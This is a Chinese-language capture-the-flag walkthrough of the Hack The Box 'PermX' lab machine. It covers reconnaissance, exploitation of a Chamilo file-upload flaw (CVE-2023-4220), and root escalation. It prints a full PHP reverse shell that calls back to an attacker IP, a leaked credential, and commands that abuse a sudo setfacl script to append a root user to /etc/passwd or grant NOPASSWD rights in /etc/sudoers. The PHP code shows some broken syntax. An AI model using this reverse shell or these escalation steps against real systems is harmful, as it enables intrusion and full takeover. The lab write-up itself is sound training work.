【HTB】PermX靶机渗透

admin 2025年4月8日22:38:32评论2 views字数 4632阅读15分26秒阅读模式

靶机介绍

【HTB】PermX靶机渗透

思路流程

【HTB】PermX靶机渗透
image-20250407173956349

一、信息收集

靶机ip:10.10.11.23

攻击机ip:10.10.16.26

nmap扫描

【HTB】PermX靶机渗透
image-20250407143344436

设置域名解析

【HTB】PermX靶机渗透
image-20250407143327896

curl看看

【HTB】PermX靶机渗透
image-20250407144058394

访问一下,什么也没有

【HTB】PermX靶机渗透
image-20250407145140553

目录扫描

【HTB】PermX靶机渗透
image-20250407143810612

子域名枚举

【HTB】PermX靶机渗透
image-20250407174045866

设置子域名域名解析

sudo sed -i '/10.10.11.23 permx.htb/ s/$/ www.permx.htb/' /etc/hosts
sudo sed -i '/10.10.11.23 permx.htb/ s/$/ lms.permx.htb/' /etc/hosts

对lms子域名目录扫描

【HTB】PermX靶机渗透
image-20250407145840888

二、边界突破

管理员:Davis Miller    版本:Chamilo © 2025

【HTB】PermX靶机渗透
image-20250407145318664

查看子域名下的robots.txt

【HTB】PermX靶机渗透
image-20250407150044264

信息如下

# Directories
Disallow: /app/
Disallow: /bin/
Disallow: /documentation/
Disallow: /home/
Disallow: /main/
Disallow: /plugin/
Disallow: /tests/
Disallow: /vendor/
# Files
Disallow: /license.txt
Disallow: /README.txt
Disallow: /whoisonline.php
Disallow: /whoisonlinesession.php

访问看看

【HTB】PermX靶机渗透
image-20250407150151838

均无信息

【HTB】PermX靶机渗透
image-20250407150315935

在路由:http://lms.permx.htb/documentation/changelog.html下发现版本号

【HTB】PermX靶机渗透
image-20250407150748112

查找发现CVE-2023-4220漏洞,参考文章:https://github.com/Ziad-Sakr/Chamilo-CVE-2023-4220-Exploit

【HTB】PermX靶机渗透
image-20250407151012260

下载脚本到本地

【HTB】PermX靶机渗透
image-20250407151810500

使用方法

chmod +x CVE-2023-4220.sh
./CVE-2023-4220.sh
./CVE-2023-4220.sh -f shell.php -h http://permx.htb -p 4444
http://lms.permx.htb/main/inc/lib/javascript/bigupload/files/

使用的反弹php代码

<?php
set_time_limit (0);
$VERSION = "1.0";
$ip = '10.10.16.26';  # 修改为反弹的ip
$port = 4444;         #监听端口
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;
if (function_exists('pcntl_fork')) {
$pid = pcntl_fork();

if ($pid == -1) {
  printit("ERROR: Can't fork");
exit(1);
 }

if ($pid) {
exit(0);  // Parent exits
 }
if (posix_setsid() == -1) {
  printit("Error: Can't setsid()");
exit(1);
 }
$daemon = 1;
else {
 printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}
chdir("/");
umask(0);
$sock = fsockopen($ip$port$errno$errstr, 30);
if (!$sock) {
 printit("$errstr ($errno)");
exit(1);
}
$descriptorspec = array(
   0 => array("pipe""r"),  
   1 => array("pipe""w"),  
   2 => array("pipe""w")   
);
$process = proc_open($shell$descriptorspec$pipes);
if (!is_resource($process)) {
 printit("ERROR: Can't spawn shell");
exit(1);
}

stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);
printit("Successfully opened reverse shell to $ip:$port");
while (1) {
if (feof($sock)) {
  printit("ERROR: Shell connection terminated");
break;
 }
if (feof($pipes[1])) {
  printit("ERROR: Shell process terminated");
break;
 }
$read_a = array($sock$pipes[1], $pipes[2]);
$num_changed_sockets = stream_select($read_a$write_a$error_a, null);
if (in_array($sock$read_a)) {
if ($debug) printit("SOCK READ");
$input = fread($sock$chunk_size);
if ($debug) printit("SOCK: $input");
  fwrite($pipes[0], $input);
 }
if (in_array($pipes[1], $read_a)) {
if ($debug) printit("STDOUT READ");
$input = fread($pipes[1], $chunk_size);
if ($debug) printit("STDOUT: $input");
  fwrite($sock$input);
 }
if (in_array($pipes[2], $read_a)) {
if ($debug) printit("STDERR READ");
$input = fread($pipes[2], $chunk_size);
if ($debug) printit("STDERR: $input");
  fwrite($sock$input);
 }
}
fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);
function printit ($string) {
if (!$daemon) {
print"$stringn";
 }
}
?> 

访问解析php文件

【HTB】PermX靶机渗透
image-20250407153514878

反弹成功

【HTB】PermX靶机渗透
image-20250407153447013

三、权限提升

法1

查看文件,存在mtz用户

【HTB】PermX靶机渗透
image-20250407153649987

最终在该路径下发现账户密码,**/app/config/configguration.php**

【HTB】PermX靶机渗透
image-20250407155421977

信息如下

user: chamilo
passwd:03F6lY3uXAP2bkW8

登录chamilo失败,利用该密码登录mtz,登录成功,并在该目录拿到user.txt

【HTB】PermX靶机渗透
image-20250407155803312

法2

我们使用linpeas.sh内网信息收集工具,在本机开启web服务,然后下载到靶机

【HTB】PermX靶机渗透
image-20250407160004906

执行

【HTB】PermX靶机渗透
image-20250407160409655

发现具有bash的用户

【HTB】PermX靶机渗透
image-20250407160551709

找到密码同时发现路径,这里就可以直接访问路径了,查看账户

【HTB】PermX靶机渗透
image-20250407160754521

root.txt

sudo -l查看,发现一个脚本

【HTB】PermX靶机渗透
image-20250407160147341

内容如下,该脚本通过setfacl 为指定用户设置文件访问权限

#!/bin/bash

if [ "$#" -ne 3 ]; then
    /usr/bin/echo"Usage: $0 user perm file"
exit 1
fi

user="$1"
perm="$2"
target="$3"

if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then#限制路径在/home/mtz下
    /usr/bin/echo"Access denied."
exit 1
fi

# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo"Target must be a file."
exit 1
fi

/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm""$target"
#使用方法:sudo /opt/acl.sh [用户名] [权限] [文件路径] 

法1

通过设置具备bash的新用户提权

openssl passwd track
cd /home/mtz
ln -s /etc/passwd passwd
sudo /opt/acl.sh mtz rwx /home/mtz/passwd
echo'track:$1$LLooY8Oj$1CX6yKQuKomxqaIJRMLPQ0:0:0:root:/root:/bin/bash' >> /home/mtz/passwd
su track

执行结果

【HTB】PermX靶机渗透
image-20250407170941925

查看

【HTB】PermX靶机渗透
image-20250407171506720

最后进行登录,密码为track

【HTB】PermX靶机渗透
image-20250407171434094

/root下发现目标,并找到一个sh文件,下面的文件均可以用来提权

【HTB】PermX靶机渗透
image-20250407172154861

法2

流程如下,这里参考了官方wp

ln -s /etc/sudoers root
sudo /opt/acl.sh mtz rw /home/mtz/root
echo"mtz ALL=(ALL:ALL) NOPASSWD: ALL" >> /home/mtz/root
sudo bash

执行结果

【HTB】PermX靶机渗透
image-20250407172033047

结束

【HTB】PermX靶机渗透
image-20250407171554212

原文始发于微信公众号(泷羽Sec-track):【HTB】PermX靶机渗透

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月8日22:38:32
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【HTB】PermX靶机渗透https://cn-sec.com/archives/3926878.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息